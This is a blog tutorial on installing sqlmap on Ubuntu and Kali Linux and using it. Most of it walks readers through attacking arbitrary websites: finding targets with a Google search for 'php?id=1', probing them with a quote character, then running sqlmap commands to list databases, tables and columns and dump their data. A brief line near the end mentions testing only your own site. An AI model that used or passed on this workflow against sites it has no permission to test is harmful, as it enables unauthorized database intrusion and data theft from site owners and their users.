Sqlmap Installation and Usage in Ubuntu and Kali Linux

SQLMAP installation and usage in Ubuntu and Kali linux

Sql Injection Tool to discover vulnerabilities on your site

by Janeth Kent Date: 13-08-2016 sql kali ubuntu linux hacking


Let's talk about the penetration testing using one of the KALI linux tool called SQLMAP.

What is SQLMAP?

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It is a open source tool to use sql injection in better and simpler way.

It is pre installed on KALI LINUX Operating System.
Let's go to see how to install this tool in your ubuntu machine and run test to hack the database of any sql injection vulnerable websites.

First download SQLMAP in your machine by using below command.

 wget 'https://github.com/sqlmapproject/sqlmap/tarball/master' --output-document=sqlmap.tar.gz

This command will download latest sqlmap package from github into your current directory.
sqlmap-1

Now run this command to extract your sqlmap package from tar file.

tar -xvf sqlmap.tar.gz

If all done successfully go to to your sqlmap directory and run below command to test sqlmap in ubuntu.

cd sqlmapproject-sqlmap-c4f9e66/
python sqlmap.py --version

sqlmap-2

Now Let’s Hack begin.

You can find may sql injection vulnerable websites through google search by passing bellow query
open www.google.com and type php?id=1

Next from search result open website which url something like that..

http://www.example.com/about.php?id=1

Now check url is venerable or not by adding and hit enter if page gives sql error means You are lucky, Given url is ready for hack.

http://www.example.com/about.php?id=1'

Go to your sqlmap directory and Run this command to test sql injunction.
Where
-u :- means url we are going to hack
–dbs :- command will show hack-able list of database.

UBUNTU

 ./sqlmap.py -u http://www.example.com/about.php?id=1 --dbs

sqlmap-3

KALI LINUX

Open terminal and run below command no need to install sqlmap in KALI LINUX

 sqlmap -u http://www.example.com/about.php?id=1 --dbs

In below image you can see the hacked database
sqlmap-4

Now hack the tables of hacked database.
Where
-D :- means database name you are going to hack
–tables :- command will show all the tables of hacked database.

UBUNTU

./sqlmap.py -u http://www.example.com/about.php?id=1 --dbs -D exampledb --tables

sqlmap-5

KALI LINUX

sqlmap -u http://www.example.com/about.php?id=1 --dbs -D exampledb --tables

You can see the table list of hacked database.
sqlmap-6

Next task is fetch the column of any table.
Where
-T :- means Table name you are going to hack
–columns :- command will show all the columns of table.

UBUNTU

 ./sqlmap.py -u http://www.example.com/about.php?id=1 --dbs -D exampledb --tables -T apllied_items --columns

sqlmap-7

KALI LINUX

 sqlmap -u http://www.example.com/about.php?id=1 --dbs -D exampledb --tables -T apllied_items --columns

Below you can see the list of columns of the hacked table.
sqlmap-8

Now this is your final task fetch real data from tables.
Where
-C :- means Column name of the table.
–dump :- command will show all data of given columns.

UBUNTU

./sqlmap.py -u http://www.example.com/about.php?id=1 --dbs -D exampledb --tables -T apllied_items --columns -C menuid --dump

KALI LINUX

sqlmap -u http://www.example.com/about.php?id=1 --dbs -D exampledb --tables -T apllied_items --columns -C menuid --dump

Above command will show the data of particular column, You can use this trick to hack website database which are less secure and must use this testing on your own website to test your website is secure or not.

REWRITED URLS

It's also possible to test for SQL injection vulnerabilities with using sqlmap with a url that is using mod rewrite

To test your sites that have urls like: http://mysite.com/?id=1

But also sites that have clean urls, like: http://mysite.com/1

You should use * in your URI, creating URI injection point(s). So instead of using:

sqlmap.py -u "website.com/script/paramrewrited1/paramrewrited2"

use:

sqlmap.py -u "website.com/script/paramrewrited1*/paramrewrited2*"

See sqlmap wiki for more usage options. From that page:

URI injection point

There are special cases when injection point is within the URI itself. sqlmap does not perform any automatic test against URI paths, unless manually pointed to. You have to specify these injection points in the command line by appending an asterisk (*) after each URI point that you want sqlmap to test for and exploit a SQL injection.

This is particularly useful when, for instance, Apache web server's mod_rewrite module is in use or other similar technologies.

An example of valid command line would be:

$ python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"
 
by Janeth Kent Date: 13-08-2016 sql kali ubuntu linux hacking hits : 62047  
 
Janeth Kent

Janeth Kent

Licenciada en Bellas Artes y programadora por pasión. Cuando tengo un rato retoco fotos, edito vídeos y diseño cosas. El resto del tiempo escribo en MA-NO WEB DESIGN END DEVELOPMENT.

 
 
 

Related Posts

How to install a Linux partition on a Windows 10 PC

In spite of a past we could say almost confronted, the approach between Windows and Linux is accelerating more and more, drawing a story closer to love than to hate.…

WSL2 is released to run Linux distributions on Windows

If you are reading about this for the first time, the Windows Subsystem for Linux is a kind of virtual machine that allows you to run the Linux terminal on…

MySQL 8.0 is now fully supported in PHP 7.4

MySQL and PHP is a love story that started long time ago. However the love story with MySQL 8.0 was a bit slower to start… but don’t worry it rules…

Linux For Dummies: Permissions

In the previous articles I made a short introduction to the Unix world and in the following article I have dealt with the basic commands for the file system management. Today we are…

Linux for Dummies: Ubuntu Terminal

I introduced in the previous article, available here, the basic concepts concerning the Linux world. Today we are going to have a look to some basic operations that we can perform…

Linux for Dummies: Introduction

If you have thought about migrating from Windows to a Unix operating system, or Linux specifically there are things you should know. The goal is to give essential information (and…

The Best RSS Readers for Ubuntu

Even if most of the tech experts actively claim that RSS (Rich Site Summary) is dead especially after Google Reader was discontinued 5 years ago but it isn’t yet as…

80 Linux Network Monitor Software & Tools for Managing & Monitoring Unix/Linux Systems

It’s hard work monitoring and debugging Linux performance problems, but it’s easier with the right tools at the right time. Finding a Linux Network Monitor tool or Software package for…

How to install Letsencrypt Certificates with Certbot in Ubuntu

In this article we will explain how to install, manage and configure the SSL Security certificate, Let's Encypt in NGINX server used as proxy. This certificate is free but does…

How to Set up a Fully Functional Mail Server on Ubuntu 16.04 with iRedMail

Setting up your own mail server from scratch on Linux is complex and tedious, until you meet iRedMail. This tutorial is going to show you how you can easily and…

GIMP 2.10 released: Features 32-bit support, new UI and A Ton Of Improvements

It's been over a half-decade since the GIMP 2.8 stable debut and today marks the long-awaited release of GIMP 2.10, its first major update in six years. And among other…

Setting Up SFTP on Ubuntu 16.04

I recently had a request to setup SFTP for a customer so they could manage a set of files in their environment through an FTP GUI. Being an avid user…

We use our own and third-party cookies to improve our services, compile statistical information and analyze your browsing habits. This allows us to personalize the content we offer and to show you advertising related to your preferences. By clicking on "Understood" YOU AGREE TO THE USE OF THESE COOKIES. You can also SET OR DISCONTINUE the installation of cookies by clicking on "Settings" or "Reject".


Understood Reject Settings More Info